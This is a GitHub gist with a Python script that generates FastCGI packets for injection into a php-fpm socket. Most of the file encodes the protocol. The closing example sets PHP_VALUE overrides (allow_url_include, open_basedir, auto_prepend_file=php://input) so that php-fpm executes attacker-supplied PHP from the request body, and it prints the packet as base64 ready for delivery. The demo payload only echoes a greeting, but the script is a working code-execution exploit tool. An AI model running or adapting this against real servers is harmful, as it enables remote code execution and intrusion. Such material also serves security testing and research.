Skip to content

Instantly share code, notes, and snippets.

@clubby789
Created July 29, 2020 01:29
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save clubby789/3e29d8ca16374309c559e7ac66ee2fea to your computer and use it in GitHub Desktop.
Save clubby789/3e29d8ca16374309c559e7ac66ee2fea to your computer and use it in GitHub Desktop.
A Python script to generate FastCGI packets to be injected into a php-fpm socket. Based on https://gist.github.com/wofeiwo/4f41381a388accbf91f8
#!/usr/bin/python3
# Ported to Python from https://gist.github.com/wofeiwo/4f41381a388accbf91f8
# Only implements packet generation, not sending/receiving
import base64
class FCGIClient:
def __init__(self):
self.VERSION_1 = 1;
self.BEGIN_REQUEST = 1;
self.ABORT_REQUEST = 2;
self.END_REQUEST = 3;
self.PARAMS = 4;
self.STDIN = 5;
self.STDOUT = 6;
self.STDERR = 7;
self.DATA = 8;
self.GET_VALUES = 9;
self.GET_VALUES_RESULT = 10;
self.UNKNOWN_TYPE = 11;
self.MAXTYPE = self.UNKNOWN_TYPE;
self.RESPONDER = 1;
self.AUTHORIZER = 2;
self.FILTER = 3;
self.REQUEST_COMPLETE = 0;
self.CANT_MPX_CONN = 1;
self.OVERLOADED = 2;
self.UNKNOWN_ROLE = 3;
self.MAX_CONNS = 'MAX_CONNS';
self.MAX_REQS = 'MAX_REQS';
self.MPXS_CONNS = 'MPXS_CONNS';
self.HEADER_LEN = 8;
self.keepAlive = False
def setKeepAlive(self, b):
self.keepAlive = bool(b)
def buildPacket(self, type, content, request_id=1):
clen = len(content)
header = chr(self.VERSION_1) +\
chr(type) +\
chr((request_id >> 8) & 0xff) +\
chr(request_id & 0xff) +\
chr((clen >> 8) & 0xff) +\
chr(clen & 0xff) +\
chr(0) + chr(0)
header = header.encode('latin-1')
try:
content = content.encode('latin-1')
except:
pass
return header + content
def buildNvpair(self, name, value):
nlen = len(name)
vlen = len(value)
if (nlen < 128):
nvpair = chr(nlen)
else:
nvpair = chr((nlen >> 24) | 0x80) +\
chr((nlen >> 16) & 0xff) +\
chr((nlen >> 8) & 0xff) +\
chr( nlen & 0xff)
if vlen < 128:
nvpair += chr(vlen)
else:
nvpair += chr((vlen >> 24) | 0x80) +\
chr((vlen >> 16) & 0xff) +\
chr((vlen >> 8) & 0xff) +\
chr( vlen & 0xff)
nvpair = nvpair.encode('latin-1')
name = name.encode('latin-1')
value = value.encode('latin-1')
return nvpair + name + value
def readNvpair(self, data, length=None):
arr = {}
if length is None:
length = len(data)
p = 0
while p != length:
nlen = ord(data[p])
p += 1
if nlen >= 128:
nlen = (nlen & 0x7f << 24)
nlen |= (ord(data[p]) << 16)
p += 1
nlen |= (ord(data[p]) << 8)
p += 1
nlen |= (ord(data[p]))
p += 1
vlen = ord(data[p])
p += 1
if vlen >= 128:
vlen = (nlen & 0x7f << 24)
vlen |= (ord(data[p]) << 16)
p += 1
vlen |= (ord(data[p]) << 8)
p += 1
vlen |= (ord(data[p]))
p += 1
arr[data[p:p+nlen]] = data[p+nlen:p+nlen+vlen]
p += (nlen+vlen)
return arr
def request(self, params, stdin):
response = b''
packet = chr(0) + chr(self.RESPONDER) + chr(int(self.keepAlive)) + chr(0) * 5
req = self.buildPacket(self.BEGIN_REQUEST, packet.encode('latin-1'))
paramsReq = b''
for k, v in params.items():
paramsReq += self.buildNvpair(k, v)
if paramsReq != b'':
req += self.buildPacket(self.PARAMS, paramsReq)
req += self.buildPacket(self.PARAMS, b'')
if stdin != b'':
req += self.buildPacket(self.STDIN, stdin)
req += self.buildPacket(self.STDIN, b'')
return req
# Example of generating a packet to send to a socket
client = FCGIClient()
fp = "/www/index.php"
req = "index.php"
uri = req + '?command=0'
code = "<?php echo('Hello, world!\n'); ?>"
php_values = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input"
params = {
'GATEWAY_INTERFACE' : 'FastCGI/1.0',
'REQUEST_METHOD' : 'POST',
'SCRIPT_FILENAME' : fp,
'SCRIPT_NAME' : req,
'QUERY_STRING' : 'command=0',
'REQUEST_URI' : uri,
'DOCUMENT_URI' : req,
'PHP_VALUE' : php_values,
'SERVER_SOFTWARE' : '80sec/wofeiwo',
'REMOTE_ADDR' : '127.0.0.1',
'REMOTE_PORT' : '9985',
'SERVER_ADDR' : '127.0.0.1',
'SERVER_PORT' : '80',
'SERVER_NAME' : 'localhost',
'SERVER_PROTOCOL' : 'HTTP/1.1',
'CONTENT_LENGTH' : str(len(code))
}
packet = client.request(params, code)
print(base64.b64encode(packet).decode())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment